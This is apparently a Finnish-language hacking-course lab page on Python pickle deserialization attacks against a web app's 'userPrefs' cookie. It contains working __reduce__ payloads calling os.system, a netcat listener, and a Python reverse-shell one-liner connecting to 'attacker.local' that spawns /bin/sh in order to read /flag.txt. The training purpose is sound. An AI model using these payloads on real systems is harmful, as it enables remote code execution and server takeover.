
Sarjallistamista (serialisointi) käytetään ohjelmoinnissa muuttamaan objekteja muotoon, jossa ne voidaan esimerkiksi tallentaa levylle tai siirtää verkon yli.

Tässä on esimerkki (serialisoi.py) jossa käytetään Python pickle-kirjastoa serialisoimaan auto.

Kun skripti ajetaan, se tulostaa (base64-enkoodattuna) auton sarjallistettuna.

Tässä on toinen ohjelma (deserialisoi.py), joka ottaa parametrina (base64-enkoodatun) serialisoidun auton, ja tulostaa sen tiedot.

Näin toimii sarjallistaminen. Muistissa olevasta objektista tallennettavaan/siirrettävään muotoon, ja takaisin.

Sarjallistamisessa piilee vaara. Mitä jos sarjallistettua objektia onkin muunneltu matkalla, eikä se enää olekaan vain harmiton auto?

 on kuvailtu funktio jota kutsutaan objektin deserialisoinnin aikana: 

Funktion alkuperäinen käyttötarkoitus on auttaa purkamaan objekti oikeanlaiseksi. Mutta käyttötarkoitus josta me ollaan kiinnostuneita, on mielivaltaisen koodin ajaminen palvelimella, kun sovellus ottaa "auton" purkuun!

Tehdään vielä kolmas skripti, hax.py, joka rakentaa meille objektin, jossa on 

 funktio määritettynä. Funktion paluuarvo on 

, jonka ensimmäinen elementti on funktio, ja toinen elementti on toinen tuple, joka sisältää parametrit.

Lopputuloksena sovellus ei saa autoa purettua (sen arvoksi tulee None), mutta sovellus ajaa hyökkääjän koodin, eli 

-funktiolla saa näppärästi ajettua käyttöjärjestelmäkomentoja.

Kun sovellus yrittää deserialisoida sarjallistettua objektia, jota hyökkääjä on päässyt muokkaamaan, hyökkääjän voi olla mahdollista ajaa mielivaltaista koodia palvelimella. Pythonin picklen tapauksessa helpoin tapa hyökkäyksen tekemiseksi on sarjallistaa objekti jolle on määritetty 

 funktio, koska picklen deserialisointiprosessi kutsuu ko. funktiota. Tällaisia funktioita joilla deserialisoinnista saadaan koodia ajoon kutsutaan yleensä "gadgeteiksi".

Käynnistä tässä vaiheessa harjoitus, ja jatka lukemista.

Hanki root-pääsyt palvelimelle ja lue lippu tiedostosta /flag.txt

Tässä labrassa pääset harjoittelemaan deserialisointihyökkäyksiä Python-sovellusta vastaan joka käyttää sarjallistamista epäturvallisesti.

Tappavat Suolakurkut

Kun sovelluksen kieltä vaihdetaan, sovellus asettaa aina uuden evästeen "userPrefs", joka sisältää jotain selvästi base64-enkoodattua. Otetaan evästeen arvo, dekoodataan se, ja tallennetaan se tiedostoon "userprefs.data".

Tutkitaan tiedostoa. Pythonissa on sisäänrakennettuna moduuli jolla pickle-tiedostoja voi tutkia. Voimme siis kokeilla että onko tiedosto picklellä sarjallistettu seuraavanlaisesti: 

Tee python-koodi exploit.py joka rakentaa sarjallistetun objektin jonka __reduce__ funktio ajaa haluamasi käyttöjärjestelmäkomennon: 

Sitten vain ajat koodin, ja lähetät tulosteen sovellukseen evästeenä.

Sovellus odotetusti kaatuu koska UserPreferences objektia ei tietenkään saatu parsittua evästeestä. Jos kuitenkin katsoisimme sovelluksen lokia, huomaisimme että siellä lukee "PUM".

Käynnistä netcat-kuuntelija portilla 4444. Ajat seuraavaksi kohdepalvelimella python-koodia joka yhdistää porttiin ja antaa palvelimen haltuusi.

 = verbose (kerro kun yhteys muodostetaan)

Entäs se Python-koodi sitten? Käteviä skriptinpätkiä tällaisiin tilanteisiin löytyy esimerkiksi 

 -repositoriosta. Tässä on python-koodi jota voit käyttää hyökkäyksessä. Koodi toimii seuraavasti: 

Avataan yhteys osoitteeseen attacker.local (sinun hyökkääjän koneesi) TCP porttiin 4444.

Avataan shelli (/bin/sh) ja yhdistetään shellin stdin, stdout ja stderr sokettiin.

Voit ajaa python-koodinpätkiä komentoriviltä "python -c <koodi>". Koodistasi tulee siis: 

Aja koodi ja lähetä sovellukselle UserPrefs evästeen arvona sarjallistettu objekti jonka __reduce__ funktio lähettää etäyhteyden (reverse shell) kuuntelijaasi. Jos kaikki menee hyvin, saat kuuntelijaasi shellin josta pääset lukemaan lipun.

## Mitä on sarjallistaminen?

Sarjallistamista (serialisointi) käytetään ohjelmoinnissa muuttamaan objekteja muotoon, jossa ne voidaan esimerkiksi tallentaa levylle tai siirtää verkon yli.

Tässä on esimerkki (serialisoi.py) jossa käytetään Python pickle-kirjastoa serialisoimaan auto.

```python
import pickle
from base64 import b64encode, b64decode

class Auto(object):
    def __init__(self, merkki: str, vuosimalli: int):
        self.merkki = merkki
        self.vuosimalli = vuosimalli

    def __str__(self):
        return f"{self.merkki} VM {self.vuosimalli}"

auto = Auto(merkki='Volvo', vuosimalli=1975)

print(auto)

print(b64encode(pickle.dumps(auto)).decode('utf-8'))
```

Kun skripti ajetaan, se tulostaa (base64-enkoodattuna) auton sarjallistettuna.

```sh
python3 ./serialisoi.py
Volvo VM 1975
gASVPgAAAAAAAACMCF9fbWFpbl9flIwEQXV0b5STlCmBlH2UKIwGbWVya2tplIwFVm9sdm+UjAp2dW9zaW1hbGxplE23B3ViLg==
```

Tässä on toinen ohjelma (deserialisoi.py), joka ottaa parametrina (base64-enkoodatun) serialisoidun auton, ja tulostaa sen tiedot.

```python
import pickle
from base64 import b64decode
import sys

class Auto(object):
    def __init__(self, merkki: str, vuosimalli: int):
        self.merkki = merkki
        self.vuosimalli = vuosimalli
        
    def __str__(self):
        return f"{self.merkki} VM {self.vuosimalli}"

serialisoitu = sys.argv[1]
auto = pickle.loads(b64decode(serialisoitu))
print(auto)
```

```sh
python3 deserialisoi.py gASVPgAAAAAAAACMCF9fbWFpbl9flIwEQXV0b5STlCmBlH2UKIwGbWVya2tplIwFVm9sdm+UjAp2dW9zaW1hbGxplE23B3ViLg==
Volvo VM 1975
```

Näin toimii sarjallistaminen. Muistissa olevasta objektista tallennettavaan/siirrettävään muotoon, ja takaisin.

---

## \_\_reduce\_\_

Sarjallistamisessa piilee vaara. Mitä jos sarjallistettua objektia onkin muunneltu matkalla, eikä se enää olekaan vain harmiton auto?

Pythonin picklen [dokumentaatiossa](https://docs.python.org/3/library/pickle.html#object.__reduce__) on kuvailtu funktio jota kutsutaan objektin deserialisoinnin aikana: **\_\_reduce\_\_**.

![](sanity:image-898d7fd049068d89266a58837c8f93e56d779550-809x229-png)

Funktion alkuperäinen käyttötarkoitus on auttaa purkamaan objekti oikeanlaiseksi. Mutta käyttötarkoitus josta me ollaan kiinnostuneita, on mielivaltaisen koodin ajaminen palvelimella, kun sovellus ottaa "auton" purkuun!

---

## Autopommi

Tehdään vielä kolmas skripti, hax.py, joka rakentaa meille objektin, jossa on **\_\_reduce\_\_** funktio määritettynä. Funktion paluuarvo on [tuple](https://www.w3schools.com/python/python_tuples.asp), jonka ensimmäinen elementti on funktio, ja toinen elementti on toinen tuple, joka sisältää parametrit.

Eli esim. alla olevassa koodissa **\_\_reduce\_\_** palauttaa tuplen **("print", ("PUM!",))**, joka tarkoittaa että *kutsu ****print**** funktiota parametrina "PUM!"*.

```python
import pickle
from base64 import b64encode, b64decode
import os

class Auto(object):
    def __init__(self, merkki: str, vuosimalli: int):
        self.merkki = merkki
        self.vuosimalli = vuosimalli

    def __reduce__(self):
        return (print, ("PUM!",))

auto = Auto(merkki='Volvo', vuosimalli=1975)

print(b64encode(pickle.dumps(auto)).decode('utf-8'))
```

Lopputuloksena sovellus ei saa autoa purettua (sen arvoksi tulee None), mutta sovellus ajaa hyökkääjän koodin, eli **print("PUM!")**.

```sh
python3 hax.py 
gASVIwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAhlY2hvIFBVTZSFlFKULg==
python3 deserialisoi.py gASVIwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAhlY2hvIFBVTZSFlFKULg==
PUM!
None
```

---

## os.system

**os.system**-funktiolla saa näppärästi ajettua käyttöjärjestelmäkomentoja.

```python
import pickle
from base64 import b64encode, b64decode
import os

class Auto(object):
    def __init__(self, merkki: str, vuosimalli: int):
        self.merkki = merkki
        self.vuosimalli = vuosimalli

    def __reduce__(self):
        return (os.system, ("echo PUM",))

auto = Auto(merkki='Volvo', vuosimalli=1975)

print(b64encode(pickle.dumps(auto)).decode('utf-8'))
```

```sh
python3 hax.py 
gASVIwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAhlY2hvIFBVTZSFlFKULg==
python3 deserialize.py "gASVIwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjAhlY2hvIFBVTZSFlFKULg=="
PUM
0
```

---

## Yhteenveto

Kun sovellus yrittää deserialisoida sarjallistettua objektia, jota hyökkääjä on päässyt muokkaamaan, hyökkääjän voi olla mahdollista ajaa mielivaltaista koodia palvelimella. Pythonin picklen tapauksessa helpoin tapa hyökkäyksen tekemiseksi on sarjallistaa objekti jolle on määritetty **\_\_reduce\_\_** funktio, koska picklen deserialisointiprosessi kutsuu ko. funktiota. Tällaisia funktioita joilla deserialisoinnista saadaan koodia ajoon kutsutaan yleensä "gadgeteiksi".

---

## Harjoitus

Käynnistä tässä vaiheessa harjoitus, ja jatka lukemista.

@exercise 744091f3e77c

---

## Epäilyttävä eväste

Kun sovelluksen kieltä vaihdetaan, sovellus asettaa aina uuden evästeen "userPrefs", joka sisältää jotain selvästi base64-enkoodattua. Otetaan evästeen arvo, dekoodataan se, ja tallennetaan se tiedostoon "userprefs.data".

```sh
echo 'gANjX19tYWluX18KVXNlclByZWZlcmVuY2VzCnEAKYFxAX1xAlgEAAAAbGFuZ3EDWAIAAABlbnEEc2Iu'|base64 -d > userprefs.data
```

Tutkitaan tiedostoa. Pythonissa on sisäänrakennettuna moduuli jolla pickle-tiedostoja voi tutkia. Voimme siis kokeilla että onko tiedosto picklellä sarjallistettu seuraavanlaisesti: 

```sh
python3 -m pickletools userprefs.data 
    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ UserPreferences'
   28: q    BINPUT     0
   30: )    EMPTY_TUPLE
   31: \x81 NEWOBJ
   32: q    BINPUT     1
   34: }    EMPTY_DICT
   35: q    BINPUT     2
   37: X    BINUNICODE 'lang'
   46: q    BINPUT     3
   48: X    BINUNICODE 'en'
   55: q    BINPUT     4
   57: s    SETITEM
   58: b    BUILD
   59: .    STOP
highest protocol among opcodes = 2
```

Haa! Kyllä se on.

---

## Hyökkäys

Tee python-koodi exploit.py joka rakentaa sarjallistetun objektin jonka \_\_reduce\_\_ funktio ajaa haluamasi käyttöjärjestelmäkomennon: 

```python
import pickle
from base64 import b64encode
import os

command = '''
echo PUM
'''

class Exploit(object):
    def __reduce__(self):
        return (os.system, (command,))

e = Exploit()
print(b64encode(pickle.dumps(e)).decode('utf-8'))
```

Sitten vain ajat koodin, ja lähetät tulosteen sovellukseen evästeenä.

```sh
python3 exploit.py 
gASVKAAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwMcHJpbnQoJ1BVTScplIWUUpQu
```

@embed 05b2b2f79679

Sovellus odotetusti kaatuu koska UserPreferences objektia ei tietenkään saatu parsittua evästeestä. Jos kuitenkin katsoisimme sovelluksen lokia, huomaisimme että siellä lukee "PUM".

---

## Reverse shell

Aika ottaa palvelin haltuun.

Käynnistä netcat-kuuntelija portilla 4444. Ajat seuraavaksi kohdepalvelimella python-koodia joka yhdistää porttiin ja antaa palvelimen haltuusi.

```sh
nc -lvnp 4444
listening on [any] 4444 ...
```

- **nc** = netcat
- **-l **= kuuntele (listen)
- **-v** = verbose (kerro kun yhteys muodostetaan)
- **-n** = älä tee turhia DNS-kyselyitä
- **-p** = portti

Entäs se Python-koodi sitten? Käteviä skriptinpätkiä tällaisiin tilanteisiin löytyy esimerkiksi [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#python) -repositoriosta. Tässä on python-koodi jota voit käyttää hyökkäyksessä. Koodi toimii seuraavasti: 

- Avataan yhteys osoitteeseen attacker.local (sinun hyökkääjän koneesi) TCP porttiin 4444.
- Avataan shelli (/bin/sh) ja yhdistetään shellin stdin, stdout ja stderr sokettiin.

```python
import socket,os,pty;s=socket.socket();s.connect(("attacker.local",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")
```

Voit ajaa python-koodinpätkiä komentoriviltä "python -c <koodi>". Koodistasi tulee siis: 

```python
import pickle
from base64 import b64encode
import os

command = '''
python -c 'import socket,os,pty;s=socket.socket();s.connect(("attacker.local",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' 
'''

class Exploit(object):
    def __reduce__(self):
        return (os.system, (command,))

e = Exploit()
print(b64encode(pickle.dumps(e)).decode('utf-8'))
```

Aja koodi ja lähetä sovellukselle UserPrefs evästeen arvona sarjallistettu objekti jonka \_\_reduce\_\_ funktio lähettää etäyhteyden (reverse shell) kuuntelijaasi. Jos kaikki menee hyvin, saat kuuntelijaasi shellin josta pääset lukemaan lipun.

```sh
root@whlhxbyzok-student:~# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.0.1.108] from (UNKNOWN) [10.0.1.68] 55534
cat /flag.txt
eyJhbG...
```


Mitä ovat deserialisointihyökkäykset?

Sarjallistaminen on äärimmäisen helppo ja kätevä tapa saada monimutkaisia tiloja tallentumaan levylle tai siirtymään verkon yli. Helppous tuo kuitenkin mukanaan varjopuolen, sarjallistetun objektin purkaminen nimittäin on rinnastettavissa pommin purkamiseen. Se on tehtävä juuri oikein tai muuten seuraukset voivat olla katastrofaaliset.

Mitä ovat deserialisointihyökkäykset?

Mitä on sarjallistaminen?

Hakkeroinnin oppiminen alkaa tästä